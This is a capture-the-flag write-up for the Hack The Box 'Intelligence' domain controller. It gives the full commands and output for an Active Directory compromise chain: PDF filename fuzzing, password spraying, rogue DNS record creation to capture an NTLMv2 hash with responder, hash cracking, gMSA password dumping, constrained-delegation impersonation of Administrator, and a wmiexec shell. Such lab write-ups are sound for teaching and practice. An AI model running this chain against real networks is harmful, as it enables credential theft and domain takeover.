Intelligence Writeup
22 July 2023 #CTF #HTB #box #medium #windowsEnumeration
nmap
$ sudo nmap -sC -sV 10.10.10.248
[...]
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Intelligence
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-05-28 21:09:39Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-05-28T21:10:59+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
|_SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-05-28T21:11:00+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
|_SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-05-28T21:10:59+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
|_SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-05-28T21:11:00+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.intelligence.htb
| Issuer: commonName=intelligence-DC-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-19T00:43:16
| Not valid after: 2022-04-19T00:43:16
| MD5: 7767953367fbd65d6065dff77ad83e88
|_SHA-1: 155529d9fef81aec41b7dab284d70f9d30c7bde7
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-05-28T21:10:19
|_ start_date: N/A
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
[...]
HTTP
The website is pretty barebones:
There are only 2 links to PDFs on the page:
... which are not helping too much.
Foothold
The website is storing PDFs in a predictable format, so we can try to fuzz the filename to find more. Here is a simple shell script to do so:
#!/bin/sh
for y in 2020 2021; do
for m in $(seq -w 1 12); do
for d in $(seq -w 1 31); do
wget "http://10.10.10.248/documents/$y-$m-$d-upload.pdf" &
done
done
done
We need to use the -w
with seq
to pad single digits with a zero (0
-> 01
) in order to match the filename format.
After running the script we get a bunch of PDFs:
$ ls pdf/
2020-01-01-upload.pdf 2020-05-03-upload.pdf 2020-07-20-upload.pdf 2020-11-13-upload.pdf
2020-01-02-upload.pdf 2020-05-07-upload.pdf 2020-07-24-upload.pdf 2020-11-24-upload.pdf
2020-01-04-upload.pdf 2020-05-11-upload.pdf 2020-08-01-upload.pdf 2020-11-30-upload.pdf
2020-01-10-upload.pdf 2020-05-17-upload.pdf 2020-08-03-upload.pdf 2020-12-10-upload.pdf
2020-01-20-upload.pdf 2020-05-20-upload.pdf 2020-08-09-upload.pdf 2020-12-15-upload.pdf
2020-01-22-upload.pdf 2020-05-21-upload.pdf 2020-08-19-upload.pdf 2020-12-20-upload.pdf
2020-01-23-upload.pdf 2020-05-24-upload.pdf 2020-08-20-upload.pdf 2020-12-24-upload.pdf
2020-01-25-upload.pdf 2020-05-29-upload.pdf 2020-09-02-upload.pdf 2020-12-28-upload.pdf
2020-01-30-upload.pdf 2020-06-02-upload.pdf 2020-09-04-upload.pdf 2020-12-30-upload.pdf
2020-02-11-upload.pdf 2020-06-03-upload.pdf 2020-09-05-upload.pdf 2021-01-03-upload.pdf
2020-02-17-upload.pdf 2020-06-04-upload.pdf 2020-09-06-upload.pdf 2021-01-14-upload.pdf
2020-02-23-upload.pdf 2020-06-07-upload.pdf 2020-09-11-upload.pdf 2021-01-25-upload.pdf
2020-02-24-upload.pdf 2020-06-08-upload.pdf 2020-09-13-upload.pdf 2021-01-30-upload.pdf
2020-02-28-upload.pdf 2020-06-12-upload.pdf 2020-09-16-upload.pdf 2021-02-10-upload.pdf
2020-03-04-upload.pdf 2020-06-14-upload.pdf 2020-09-22-upload.pdf 2021-02-13-upload.pdf
2020-03-05-upload.pdf 2020-06-15-upload.pdf 2020-09-27-upload.pdf 2021-02-21-upload.pdf
2020-03-12-upload.pdf 2020-06-21-upload.pdf 2020-09-29-upload.pdf 2021-02-25-upload.pdf
2020-03-13-upload.pdf 2020-06-22-upload.pdf 2020-09-30-upload.pdf 2021-03-01-upload.pdf
2020-03-17-upload.pdf 2020-06-25-upload.pdf 2020-10-05-upload.pdf 2021-03-07-upload.pdf
2020-03-21-upload.pdf 2020-06-26-upload.pdf 2020-10-19-upload.pdf 2021-03-10-upload.pdf
2020-04-02-upload.pdf 2020-06-28-upload.pdf 2020-11-01-upload.pdf 2021-03-18-upload.pdf
2020-04-04-upload.pdf 2020-06-30-upload.pdf 2020-11-03-upload.pdf 2021-03-21-upload.pdf
2020-04-15-upload.pdf 2020-07-02-upload.pdf 2020-11-06-upload.pdf 2021-03-25-upload.pdf
2020-04-23-upload.pdf 2020-07-06-upload.pdf 2020-11-10-upload.pdf 2021-03-27-upload.pdf
2020-05-01-upload.pdf 2020-07-08-upload.pdf 2020-11-11-upload.pdf download-pdfs.sh
Going through each of these PDFs manually would be a pain, so we'll instead use this tool to convert PDF files to raw text:
$ pdf2txt pdf/*.pdf | grep -i -C2 pass
Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876
After logging in please change your password as soon as possible.
Cool, we can find a password by grep
ing the output.
We have a password, but no username. Let's check in the metadata of the PDFs to see if it leaks usernames:
$ exiftool pdf/*.pdf | awk '/^Creator/{print $3}' | sort -u | tee usernames.txt
Anita.Roberts
Brian.Baker
Brian.Morris
Daniel.Shelton
Danny.Matthews
Darryl.Harris
David.Mcbride
David.Reed
David.Wilson
Ian.Duncan
Jason.Patterson
Jason.Wright
Jennifer.Thomas
Jessica.Moody
John.Coleman
Jose.Williams
Kaitlyn.Zimmerman
Kelly.Long
Nicole.Brock
Richard.Williams
Samuel.Richardson
Scott.Scott
Stephanie.Young
Teresa.Williamson
Thomas.Hall
Thomas.Valenzuela
Tiffany.Molina
Travis.Evans
Veronica.Patel
William.Lee
Nice, now we have a big username list.
With a bunch of usernames and a password, it's time to spray:
$ kerbrute passwordspray -d intelligence.htb --dc dc.intelligence.htb usernames.txt NewIntelligenceCorpUser9876
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 05/29/23 - Ronnie Flathers @ropnop
2023/05/29 02:16:17 > Using KDC(s):
2023/05/29 02:16:17 > dc.intelligence.htb:88
2023/05/29 02:16:17 > [+] VALID LOGIN: Tiffany.Molina@intelligence.htb:NewIntelligenceCorpUser9876
2023/05/29 02:16:17 > Done! Tested 30 logins (1 successes) in 0.240 seconds
Run sudo ntpdate 10.10.10.248
to sync time with the box if you encounter errors.
Privesc
Hash Stealing
Using these creds, we can access the IT share:
$ smbclient -U Tiffany.Molina%NewIntelligenceCorpUser9876 //dc.intelligence.htb/IT
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Apr 19 02:50:55 2021
.. D 0 Mon Apr 19 02:50:55 2021
downdetector.ps1 A 1046 Mon Apr 19 02:50:55 2021
There is a powershell script, let's download it and take a look:
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
This script seems to be running as the Ted.Graves user. It's looking for DNS records that start with "web" and makes a HTTP request to it. The interesting thing is the use of the -UseDefaultCredentials
flag, which will try to authenticate to the HTTP server.
This means if we could create a DNS record that points to our IP, we could capture the NetNTLMv2 hash of this user.
Lucky for us, in the default AD configuration, any Domain User is allowed to create DNS records!
We'll use dnstool.py
from the krbrelayx repo to do that:
$ dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p NewIntelligenceCorpUser9876 -a add -r web.intelligence.htb -d 10.10.14.14 dc.intelligence.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
For this to work, I needed to to add nameserver 10.10.10.248
to /etc/resolv.conf
.
Now setup responder
and wait (at most 5min):
$ sudo responder -I tun0
[...]
[HTTP] NTLMv2 Client : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:463b6bb486312a07:720FC390757A7C39EBE857B5DAF4F6F5:0101000000000000696DCB7815BCD901CA45FFA437A7687E0000000002000800370055005900510001001E00570049004E002D004F0036004900560059004C0036004A00430039004B000400140037005500590051002E004C004F00430041004C0003003400570049004E002D004F0036004900560059004C0036004A00430039004B002E0037005500590051002E004C004F00430041004C000500140037005500590051002E004C004F00430041004C00080030003000000000000000000000000020000026F99F3667AA0EC2696BD4BA1416696DB4640B1721AF2E71AD03211A130ACF410A001000000000000000000000000000000000000900320048005400540050002F007700650062002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
Let's throw this hash to hashcat
:
$ hashcat hash.txt /usr/share/wordlists/rockyou.txt
[...]
TED.GRAVES::intelligence:[...]:Mr.Teddy
Read ITSupport gMSA Password
Let's run BloodHound to have a better idea of what Ted.Graves can do:
$ bloodhound-python -c all -d intelligence.htb -u Tiffany.Molina -p NewIntelligenceCorpUser9876 --zip
INFO: Found AD domain: intelligence.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.intelligence.htb
INFO: Found 43 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: svc_int.intelligence.htb
INFO: Querying computer: dc.intelligence.htb
WARNING: Could not resolve: svc_int.intelligence.htb: The DNS query name does not exist: svc_int.intelligence.htb.
INFO: Done in 00M 07S
INFO: Compressing output into 20230721230238_bloodhound.zip
(I still have nameserver 10.10.10.248
in my /etc/resolv.conf
).
Just drag and drop the zip into the BloodHound window and look at Ted.Graves:
He is a member of the ITSupport group, which can read the gMSA password of the SVC_INT account. gMSA groups are managed by Active Directory which sets the password and rotates it on a regular basis.
We'll use gMSADumper to get the NT hash of SVC_INT:
$ gMSADumper -u Ted.Graves -p Mr.Teddy -d intelligence.htb
Users or groups who can read password for svc_int$:
> DC$
> itsupport
svc_int$:::fca9edf1c9fb8f031dfc38d918279642
svc_int$:aes256-cts-hmac-sha1-96:15516a903b67ce2aacda697b76fae9c2d1fc60e3408abc6587b2faeefb6bfac2
svc_int$:aes128-cts-hmac-sha1-96:4e25dcda503a43e8757abe3081892114
Kerberos Constrained Delegation
This account is trusted for Kerberos Constrained Delegation:
An account trusted for Kerberos Constrained Delegation can impersonate any domain user for the service (SPN) it is configured for. More info here (article) and here (video).
$ getST.py -dc-ip 10.10.10.248 -spn WWW/dc.intelligence.htb -impersonate Administrator -hashes :fca9edf1c9fb8f031dfc38d918279642 intelligence.htb/SVC_INT
Impacket v0.10.1.dev1+20230524.180921.8b3f9eff - Copyright 2022 Fortra
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
With this Administrator TGS, we can do whatever we want, so we'll use it to get a shell on the DC with wmiexec.py
:
$ export KRB5CCNAME=$PWD/Administrator.ccache
$ wmiexec.py -k -no-pass intelligence.htb/Administrator:@dc.intelligence.htb
Impacket v0.10.1.dev1+20230524.180921.8b3f9eff - Copyright 2022 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
intelligence\administrator
Key Takeaways
- By default, any Domain User can create DNS records
- Kerberos Constrained Delegation to a service on the DC -> easy escalation